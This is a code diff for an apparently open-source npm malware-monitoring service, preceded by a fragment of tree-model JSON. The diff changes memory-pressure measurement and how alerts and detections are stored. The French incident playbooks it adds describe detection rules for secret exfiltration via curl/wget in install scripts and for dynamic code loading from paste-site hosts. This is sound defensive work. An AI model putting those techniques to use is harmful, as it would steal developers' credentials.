,{"f":-1,"t":0,"y":0,"n":0,"v":0.09682},{"f":-1,"t":0,"y":0,"n":0,"v":-0.099396}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.000559},{"f":-1,"t":0,"y":0,"n":0,"v":0.094723},{"f":-1,"t":0,"y":0,"n":0,"v":-0.099219}],[{"f":1,"t":5,"y":1,"n":8,"v":0},{"f":4,"t":1,"y":2,"n":7,"v":0},{"f":10,"t":1,"y":3,"n":6,"v":0},{"f":9,"t":1,"y":4,"n":5,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.006157},{"f":-1,"t":0,"y":0,"n":0,"v":-0.050257},{"f":-1,"t":0,"y":0,"n":0,"v":0.033647},{"f":-1,"t":0,"y":0,"n":0,"v":-0.099836},{"f":-1,"t":0,"y":0,"n":0,"v":0.092092}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":1,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.003115},{"f":-1,"t":0,"y":0,"n":0,"v":0.09565},{"f":-1,"t":0,"y":0,"n":0,"v":-0.098995}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":2,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.004702},{"f":-1,"t":0,"y":0,"n":0,"v":0.0953},{"f":-1,"t":0,"y":0,"n":0,"v":-0.098789}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.003084},{"f":-1,"t":0,"y":0,"n":0,"v":0.092229},{"f":-1,"t":0,"y":0,"n":0,"v":-0.098583}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.001356},{"f":-1,"t":0,"y":0,"n":0,"v":0.091369},{"f":-1,"t":0,"y":0,"n":0,"v":-0.09835}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.000811},{"f":-1,"t":0,"y":0,"n":0,"v":0.093693},{"f":-1,"t":0,"y":0,"n":0,"v":-0.098111}],[{"f":6,"t":6,"y":1,"n":8,"v":0},{"f":7,"t":1,"y":2,"n":7,"v":0},{"f":9,"t":1,"y":3,"n":6,"v":0},{"f":10,"t":1,"y":4,"n":5,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.000275},{"f":-1,"t":0,"y":0,"n":0,"v":0.025253},{"f":-1,"t":0,"y":0,"n":0,"v":-0.048836},{"f":-1,"t":0,"y":0,"n":0,"v":-0.084614},{"f":-1,"t":0,"y":0,"n":0,"v":0.095222}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.004045},{"f":-1,"t":0,"y":0,"n":0,"v":0.092536},{"f":-1,"t":0,"y":0,"n":0,"v":-0.097846}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":3,"t":1,"y":2,"n":5,"v":0},{"f":5,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":5.8e-05},{"f":-1,"t":0,"y":0,"n":0,"v":0.083196},{"f":-1,"t":0,"y":0,"n":0,"v":0.09506},{"f":-1,"t":0,"y":0,"n":0,"v":-0.097564}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.000536},{"f":-1,"t":0,"y":0,"n":0,"v":0.091},{"f":-1,"t":0,"y":0,"n":0,"v":-0.097261}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":3,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.002555},{"f":-1,"t":0,"y":0,"n":0,"v":0.094122},{"f":-1,"t":0,"y":0,"n":0,"v":-0.096948}],[{"f":3,"t":1,"y":1,"n":6,"v":0},{"f":4,"t":1,"y":2,"n":5,"v":0},{"f":5,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.00078},{"f":-1,"t":0,"y":0,"n":0,"v":0.038804},{"f":-1,"t":0,"y":0,"n":0,"v":-0.094261},{"f":-1,"t":0,"y":0,"n":0,"v":0.087784}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.0058},{"f":-1,"t":0,"y":0,"n":0,"v":0.088701},{"f":-1,"t":0,"y":0,"n":0,"v":-0.096599}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":3,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.001426},{"f":-1,"t":0,"y":0,"n":0,"v":0.092457},{"f":-1,"t":0,"y":0,"n":0,"v":-0.096193}],[{"f":3,"t":1,"y":1,"n":4,"v":0},{"f":5,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.003209},{"f":-1,"t":0,"y":0,"n":0,"v":0.031896},{"f":-1,"t":0,"y":0,"n":0,"v":0.085013}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":5,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.001556},{"f":-1,"t":0,"y":0,"n":0,"v":0.091202},{"f":-1,"t":0,"y":0,"n":0,"v":-0.095837}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":4,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.003601},{"f":-1,"t":0,"y":0,"n":0,"v":0.090464},{"f":-1,"t":0,"y":0,"n":0,"v":-0.095378}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.002674},{"f":-1,"t":0,"y":0,"n":0,"v":0.083822},{"f":-1,"t":0,"y":0,"n":0,"v":-0.094893}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":1,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.001674},{"f":-1,"t":0,"y":0,"n":0,"v":0.082211},{"f":-1,"t":0,"y":0,"n":0,"v":-0.094404}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":5,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.000834},{"f":-1,"t":0,"y":0,"n":0,"v":0.088259},{"f":-1,"t":0,"y":0,"n":0,"v":-0.093893}],[{"f":3,"t":1,"y":1,"n":4,"v":0},{"f":2,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.005269},{"f":-1,"t":0,"y":0,"n":0,"v":-0.036392},{"f":-1,"t":0,"y":0,"n":0,"v":0.080925}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":3,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.000685},{"f":-1,"t":0,"y":0,"n":0,"v":0.086733},{"f":-1,"t":0,"y":0,"n":0,"v":-0.093248}],[{"f":4,"t":1,"y":1,"n":4,"v":0},{"f":3,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.001125},{"f":-1,"t":0,"y":0,"n":0,"v":0.08522},{"f":-1,"t":0,"y":0,"n":0,"v":-0.099498}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":5,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.001384},{"f":-1,"t":0,"y":0,"n":0,"v":0.085424},{"f":-1,"t":0,"y":0,"n":0,"v":-0.092467}],[{"f":3,"t":1,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.003939},{"f":-1,"t":0,"y":0,"n":0,"v":0.076745}],[{"f":3,"t":1,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.00093},{"f":-1,"t":0,"y":0,"n":0,"v":0.074932}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":2,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.000708},{"f":-1,"t":0,"y":0,"n":0,"v":0.073391},{"f":-1,"t":0,"y":0,"n":0,"v":-0.091725}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.001064},{"f":-1,"t":0,"y":0,"n":0,"v":0.057369},{"f":-1,"t":0,"y":0,"n":0,"v":-0.09104}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.000437},{"f":-1,"t":0,"y":0,"n":0,"v":0.055602},{"f":-1,"t":0,"y":0,"n":0,"v":-0.090227}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.002596},{"f":-1,"t":0,"y":0,"n":0,"v":0.053598},{"f":-1,"t":0,"y":0,"n":0,"v":-0.089376}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.000134},{"f":-1,"t":0,"y":0,"n":0,"v":0.066822},{"f":-1,"t":0,"y":0,"n":0,"v":-0.088497}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.00145},{"f":-1,"t":0,"y":0,"n":0,"v":0.065197},{"f":-1,"t":0,"y":0,"n":0,"v":-0.087546}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":1,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.002205},{"f":-1,"t":0,"y":0,"n":0,"v":0.037426},{"f":-1,"t":0,"y":0,"n":0,"v":-0.086515}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.001147},{"f":-1,"t":0,"y":0,"n":0,"v":0.036726},{"f":-1,"t":0,"y":0,"n":0,"v":-0.08543}],[{"f":2,"t":3,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.000983},{"f":-1,"t":0,"y":0,"n":0,"v":0.040875}],[{"f":0,"t":247,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.001742},{"f":-1,"t":0,"y":0,"n":0,"v":-0.084391}],[{"f":0,"t":247,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.002619},{"f":-1,"t":0,"y":0,"n":0,"v":-0.083286}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":1,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.00033},{"f":-1,"t":0,"y":0,"n":0,"v":0.032568},{"f":-1,"t":0,"y":0,"n":0,"v":-0.08209}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.003375}],[{"f":1,"t":1,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.001254},{"f":-1,"t":0,"y":0,"n":0,"v":0.043454}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.0005}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.001056}],[{"f":1,"t":1,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.003655},{"f":-1,"t":0,"y":0,"n":0,"v":0.026255}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.000518}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.001169}],[{"f":1,"t":1,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.004161},{"f":-1,"t":0,"y":0,"n":0,"v":0.008372}],[{"f":1,"t":1,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.00082},{"f":-1,"t":0,"y":0,"n":0,"v":0.023861}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.00109}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.001096}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.000711}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.000883}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.002565}],[{"f":1,"t":1,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.002175},{"f":-1,"t":0,"y":0,"n":0,"v":0.022166}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.000193}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.002949}],[{"f":1,"t":1,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.002481},{"f":-1,"t":0,"y":0,"n":0,"v":0.020291}],[{"f":-1,"t":0,"y":0,"n":0,"v":-9.6e-05}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.002123}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.000329}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.001707}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.000378}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.001883}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.001748}],[{"f":12,"t":0.17,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.001974},{"f":-1,"t":0,"y":0,"n":0,"v":-0.011073}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.003072}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.002935}],[{"f":1,"t":1,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.00234},{"f":-1,"t":0,"y":0,"n":0,"v":0.018895}],[{"f":12,"t":0.25,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.002743},{"f":-1,"t":0,"y":0,"n":0,"v":-0.01085}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.002345}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.000839}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.003219}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.002346}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.001383}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.001845}],[{"f":1,"t":1,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.002236},{"f":-1,"t":0,"y":0,"n":0,"v":0.018535}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.004369}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.004391}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.000625}],[{"f":12,"t":0.07,"y":1,"n":2,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.001467},{"f":-1,"t":0,"y":0,"n":0,"v":-0.012558}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.001865}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.00056}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.00092}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.001952}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.002477}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.001695}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.001402}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.001508}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.001024}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.003954}],[{"f":-1,"t":0,"y":0,"n":0,"v":0.001829}],[{"f":-1,"t":0,"y":0,"n":0,"v":-0.000125}]]};
@@ -2,9 +2,10 @@ const { execFileSync } = require('child_process');
2
2
  const fs = require('fs');
3
3
  const path = require('path');
4
4
  const os = require('os');
5
+ const v8 = require('v8');
5
6
  const { isDockerAvailable, SANDBOX_CONCURRENCY_MAX } = require('../sandbox/index.js');
6
7
  const { setVerboseMode, isSandboxEnabled, isCanaryEnabled, isLlmDetectiveEnabled, getLlmDetectiveMode, DOWNLOADS_CACHE_TTL } = require('./classify.js');
7
- const { loadState, saveState, loadDailyStats, saveDailyStats, purgeTarballCache, getParisHour, atomicWriteFileSync, saveNpmSeq } = require('./state.js');
8
+ const { loadState, saveState, loadDailyStats, saveDailyStats, purgeTarballCache, getParisHour, atomicWriteFileSync, saveNpmSeq, ALERTS_FILE } = require('./state.js');
8
9
  const { isTemporalEnabled, isTemporalAstEnabled, isTemporalPublishEnabled, isTemporalMaintainerEnabled } = require('./temporal.js');
9
10
  const { pendingGrouped, flushScopeGroup, sendDailyReport, DAILY_REPORT_HOUR, alertedPackageRules } = require('./webhook.js');
10
11
  const { poll } = require('./ingestion.js');
@@ -24,10 +25,15 @@ const MAX_QUEUE_PERSIST_SIZE = 200_000; // Don't persist if queue > 200K items (
24
25
  const MAX_RESTORE_QUEUE_SIZE = 100_000; // Cap restored queue at 100K items
25
26
 
26
27
  // ─── Memory pressure circuit breaker ───
27
- // Graduated response based on V8 heap usage ratio.
28
- // Threat model: when GC thrashing starts (>90% heap), throughput drops to 0 and
29
- // the queue grows unbounded because ingestion continues. Without a circuit breaker,
30
- // the only recovery is OOM kill or manual restart — losing the entire in-memory queue.
28
+ // Graduated response based on V8 heap usage against heap_size_limit.
29
+ // Threat model: when GC thrashing starts (>90% heap limit), throughput drops to 0
30
+ // and the queue grows unbounded because ingestion continues. Without a circuit
31
+ // breaker, the only recovery is OOM kill or manual restart.
32
+ //
33
+ // Denominator: v8.getHeapStatistics().heap_size_limit (NOT process.memoryUsage().heapTotal).
34
+ // V8 dynamically adjusts heapTotal so heapUsed/heapTotal is structurally 70-85%
35
+ // even when actual usage is 0.1% of the --max-old-space-size limit. heap_size_limit
36
+ // reflects the actual V8 ceiling (~3264MB with --max-old-space-size=3072).
31
37
  //
32
38
  // Levels:
33
39
  // NONE (<75%) — normal operation
@@ -286,10 +292,21 @@ const MAX_ALERTED_PACKAGES = 5_000;
286
292
  * Compute current memory pressure level from V8 heap usage.
287
293
  * Returns one of MEMORY_PRESSURE_LEVELS and updates the module-level _memoryPressureLevel.
288
294
  * Cheap call (~0.1ms) — safe to run every 2s in the main loop.
295
+ *
296
+ * IMPORTANT: Uses v8.getHeapStatistics().heap_size_limit as the denominator,
297
+ * NOT process.memoryUsage().heapTotal. V8 adjusts heapTotal dynamically so
298
+ * heapUsed/heapTotal is structurally 70-85% even when actual usage is 0.1%
299
+ * of the --max-old-space-size limit. This caused the initial v2.10.88 circuit
300
+ * breaker to trigger at ELEVATED/HIGH permanently in normal operation.
301
+ *
302
+ * heap_size_limit reflects the actual V8 ceiling:
303
+ * - With --max-old-space-size=3072: ~3264MB (3072 + new space overhead)
304
+ * - Without the flag: ~4288MB (V8 default on 64-bit)
289
305
  */
290
306
  function computeMemoryPressure() {
291
307
  const mem = process.memoryUsage();
292
- const ratio = mem.heapTotal > 0 ? mem.heapUsed / mem.heapTotal : 0;
308
+ const heapLimit = v8.getHeapStatistics().heap_size_limit;
309
+ const ratio = heapLimit > 0 ? mem.heapUsed / heapLimit : 0;
293
310
 
294
311
  if (ratio >= MEMORY_THRESHOLD_EMERGENCY) {
295
312
  _memoryPressureLevel = MEMORY_PRESSURE_LEVELS.EMERGENCY;
@@ -476,6 +493,15 @@ async function startMonitor(options, stats, dailyAlerts, recentlyScanned, downlo
476
493
  ╚════════════════════════════════════════════╝
477
494
  `);
478
495
 
496
+ // Note: alerts file migrated from .json to .jsonl in v2.10.89
497
+ const oldAlertsJson = ALERTS_FILE.replace('.jsonl', '.json');
498
+ if (fs.existsSync(oldAlertsJson)) {
499
+ try {
500
+ const sizeMB = (fs.statSync(oldAlertsJson).size / 1024 / 1024).toFixed(0);
501
+ console.log(`[MONITOR] Legacy ${path.basename(oldAlertsJson)} found (${sizeMB}MB). Safe to archive — alerts now use JSONL.`);
502
+ } catch {}
503
+ }
504
+
479
505
  // Check sandbox availability
480
506
  if (isSandboxEnabled()) {
481
507
  sandboxAvailableRef.value = isDockerAvailable();
@@ -547,6 +573,8 @@ async function startMonitor(options, stats, dailyAlerts, recentlyScanned, downlo
547
573
  console.log('[MONITOR] npm changes stream enabled (replicate.npmjs.com) with RSS fallback');
548
574
  console.log(`[MONITOR] Scan concurrency: adaptive ${BASE_CONCURRENCY}→${getTargetConcurrency()} (base MUADDIB_SCAN_CONCURRENCY=${BASE_CONCURRENCY}, max MUADDIB_MAX_CONCURRENCY)`);
549
575
  console.log(`[MONITOR] Sandbox concurrency: ${SANDBOX_CONCURRENCY_MAX} (MUADDIB_SANDBOX_CONCURRENCY to override)`);
576
+ const heapLimitMB = (v8.getHeapStatistics().heap_size_limit / 1024 / 1024).toFixed(0);
577
+ console.log(`[MONITOR] Memory circuit breaker: heap limit ${heapLimitMB}MB, thresholds HIGH=${(MEMORY_THRESHOLD_HIGH * 100).toFixed(0)}% CRITICAL=${(MEMORY_THRESHOLD_CRITICAL * 100).toFixed(0)}% EMERGENCY=${(MEMORY_THRESHOLD_EMERGENCY * 100).toFixed(0)}%, GC=${typeof global.gc === 'function' ? 'available' : 'unavailable (start with --expose-gc)'}`);
550
578
  console.log(`[MONITOR] Polling every ${POLL_INTERVAL / 1000}s (decoupled from processing). Ctrl+C to stop.\n`);
551
579
 
552
580
  let running = true;
@@ -711,10 +739,11 @@ async function startMonitor(options, stats, dailyAlerts, recentlyScanned, downlo
711
739
 
712
740
  if (Date.now() - lastMemoryLogTime >= memLogInterval) {
713
741
  const heapUsedMB = (currentMem.heapUsed / 1024 / 1024).toFixed(0);
714
- const heapTotalMB = (currentMem.heapTotal / 1024 / 1024).toFixed(0);
742
+ const heapLimitMB = (v8.getHeapStatistics().heap_size_limit / 1024 / 1024).toFixed(0);
715
743
  const rssMB = (currentMem.rss / 1024 / 1024).toFixed(0);
744
+ const pctUsed = (heapRatio * 100).toFixed(0);
716
745
  const levelName = Object.keys(MEMORY_PRESSURE_LEVELS).find(k => MEMORY_PRESSURE_LEVELS[k] === pressureLevel) || 'UNKNOWN';
717
- console.log(`[MONITOR] MEMORY: heap=${heapUsedMB}MB/${heapTotalMB}MB, rss=${rssMB}MB, queue=${scanQueue.length}, dedup=${recentlyScanned.size}, downloads=${downloadsCache.size}, alerts=${alertedPackageRules.size}, pressure=${levelName}`);
746
+ console.log(`[MONITOR] MEMORY: heap=${heapUsedMB}MB/${heapLimitMB}MB (${pctUsed}%), rss=${rssMB}MB, queue=${scanQueue.length}, dedup=${recentlyScanned.size}, downloads=${downloadsCache.size}, alerts=${alertedPackageRules.size}, pressure=${levelName}`);
718
747
 
719
748
  // Graduated response at HIGH+
720
749
  if (pressureLevel >= MEMORY_PRESSURE_LEVELS.HIGH) {
@@ -10,13 +10,17 @@ const { sanitizePackageName } = require('../shared/download.js');
10
10
  // --- File path constants ---
11
11
 
12
12
  const STATE_FILE = path.join(__dirname, '..', '..', 'data', 'monitor-state.json');
13
- const ALERTS_FILE = path.join(__dirname, '..', '..', 'data', 'monitor-alerts.json');
13
+ const ALERTS_FILE = path.join(__dirname, '..', '..', 'data', 'monitor-alerts.jsonl');
14
14
  const DETECTIONS_FILE = path.join(__dirname, '..', '..', 'data', 'detections.json');
15
15
  const SCAN_STATS_FILE = path.join(__dirname, '..', '..', 'data', 'scan-stats.json');
16
16
  const LAST_DAILY_REPORT_FILE = path.join(__dirname, '..', '..', 'data', 'last-daily-report.json');
17
17
  const DAILY_STATS_FILE = path.join(__dirname, '..', '..', 'data', 'daily-stats.json');
18
18
  const TEMPORAL_DETECTIONS_FILE = path.join(__dirname, '..', '..', 'data', 'temporal-detections.json');
19
19
 
20
+ // --- Alerts/detections persistence limits ---
21
+ const ALERTS_MAX_SIZE = 100 * 1024 * 1024; // 100MB rotation threshold (matches ml-training.jsonl)
22
+ const MAX_DETECTIONS = 10_000; // Cap detections array — oldest entries discarded
23
+
20
24
  // Local log persistence directories (parallel to Discord webhooks for offline analysis)
21
25
  // Primary: logs/ relative to project root. Fallback: /tmp/ if primary is read-only (EROFS/EACCES).
22
26
  const PRIMARY_DAILY_REPORTS_DIR = path.join(__dirname, '..', '..', 'logs', 'daily-reports');
@@ -436,6 +440,27 @@ function purgeTarballCache() {
436
440
 
437
441
  // --- Temporal detections ---
438
442
 
443
+ /**
444
+ * Trim temporal findings to essential fields only.
445
+ * Production findings arrive as { type, data: { suspicious, message, score, findings: [...], ... } }
446
+ * with the data object containing full AST diffs, metadata snapshots, etc (~80KB each).
447
+ * This retains only type, severity, suspicious, message, and score for persistence.
448
+ */
449
+ function trimTemporalFindings(findings) {
450
+ return findings.map(f => {
451
+ const trimmed = { type: f.type };
452
+ if (f.severity) trimmed.severity = f.severity;
453
+ if (f.message) trimmed.message = f.message;
454
+ if (f.data) {
455
+ if (f.data.suspicious !== undefined) trimmed.suspicious = f.data.suspicious;
456
+ if (f.data.message) trimmed.message = trimmed.message || f.data.message;
457
+ if (f.data.score !== undefined) trimmed.score = f.data.score;
458
+ if (f.data.severity) trimmed.severity = trimmed.severity || f.data.severity;
459
+ }
460
+ return trimmed;
461
+ });
462
+ }
463
+
439
464
  /**
440
465
  * Append a temporal detection to the temporal detections file.
441
466
  * @param {string} name - Package name
@@ -452,7 +477,7 @@ function appendTemporalDetection(name, version, findings) {
452
477
  detections.push({
453
478
  name,
454
479
  version,
455
- findings,
480
+ findings: trimTemporalFindings(findings),
456
481
  timestamp: new Date().toISOString()
457
482
  });
458
483
  // Keep last 1000 entries
@@ -520,7 +545,21 @@ function saveState(state, stats) {
520
545
  }
521
546
  }
522
547
 
523
- // --- Alerts persistence ---
548
+ // --- Alerts persistence (JSONL append-only) ---
549
+
550
+ function maybeRotateAlerts() {
551
+ try {
552
+ if (!fs.existsSync(ALERTS_FILE)) return;
553
+ const stat = fs.statSync(ALERTS_FILE);
554
+ if (stat.size < ALERTS_MAX_SIZE) return;
555
+ const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
556
+ const rotatedName = ALERTS_FILE.replace('.jsonl', `-${timestamp}.jsonl`);
557
+ fs.renameSync(ALERTS_FILE, rotatedName);
558
+ console.log(`[MONITOR] Rotated alerts -> ${path.basename(rotatedName)} (${(stat.size / 1024 / 1024).toFixed(1)}MB)`);
559
+ } catch (err) {
560
+ console.error(`[MONITOR] Alerts rotation failed: ${err.message}`);
561
+ }
562
+ }
524
563
 
525
564
  function appendAlert(alert) {
526
565
  try {
@@ -528,13 +567,14 @@ function appendAlert(alert) {
528
567
  if (!fs.existsSync(dir)) {
529
568
  fs.mkdirSync(dir, { recursive: true });
530
569
  }
531
- let alerts = [];
532
- try {
533
- alerts = JSON.parse(fs.readFileSync(ALERTS_FILE, 'utf8'));
534
- } catch {}
535
- alerts.push(alert);
536
- atomicWriteFileSync(ALERTS_FILE, JSON.stringify(alerts, null, 2));
570
+ maybeRotateAlerts();
571
+ const line = JSON.stringify(alert) + '\n';
572
+ fs.appendFileSync(ALERTS_FILE, line, 'utf8');
537
573
  } catch (err) {
574
+ if (err.code === 'EROFS' || err.code === 'EACCES' || err.code === 'EPERM') {
575
+ console.warn(`[MONITOR] Permission denied writing alerts: ${err.code}`);
576
+ return;
577
+ }
538
578
  console.error(`[MONITOR] Failed to save alert: ${err.message}`);
539
579
  }
540
580
  }
@@ -573,6 +613,10 @@ function appendDetection(name, version, ecosystem, findings, severity) {
573
613
  advisory_at: null,
574
614
  lead_time_hours: null
575
615
  });
616
+ // Cap at MAX_DETECTIONS — discard oldest entries
617
+ if (data.detections.length > MAX_DETECTIONS) {
618
+ data.detections = data.detections.slice(-MAX_DETECTIONS);
619
+ }
576
620
  atomicWriteFileSync(DETECTIONS_FILE, JSON.stringify(data, null, 2));
577
621
  } catch (err) {
578
622
  console.error(`[MONITOR] Failed to save detection: ${err.message}`);
@@ -846,6 +890,8 @@ module.exports = {
846
890
  TARBALL_CACHE_HIGH_RISK_RETENTION_DAYS,
847
891
  TARBALL_CACHE_MAX_SIZE_BYTES,
848
892
  DAILY_STATS_PERSIST_INTERVAL,
893
+ ALERTS_MAX_SIZE,
894
+ MAX_DETECTIONS,
849
895
 
850
896
  // Mutable state getters/setters
851
897
  getScanMemoryCache,
@@ -844,6 +844,43 @@ const PLAYBOOKS = {
844
844
  trusted_new_dependency:
845
845
  'HAUTE: Package populaire (TRUSTED) a ajoute une nouvelle dependance connue. ' +
846
846
  'Verifier le changelog et la legitimite de l\'ajout. Pas de blocage immediat mais surveillance renforcee.',
847
+
848
+ // v2.10.89: Security review findings (apr-2026)
849
+ curl_env_exfil:
850
+ 'CRITIQUE: curl/wget exfiltre les variables d\'environnement ou des donnees systeme via lifecycle script. ' +
851
+ 'Machine potentiellement compromise si deja installe. Rotation immediate de TOUS les secrets ' +
852
+ '(npm tokens, AWS keys, GitHub tokens, etc.). Verifier les connexions sortantes recentes.',
853
+
854
+ function_constructor_require:
855
+ 'CRITIQUE: new Function.constructor("require", code) — execution de code dynamique avec acces au require reel. ' +
856
+ 'Le code telecharge probablement un payload depuis un C2 (jsonkeeper.com, npoint.io, etc.) et l\'execute. ' +
857
+ 'Isoler la machine. Supprimer le package. Regenerer TOUS les secrets.',
858
+
859
+ process_variable_shadow:
860
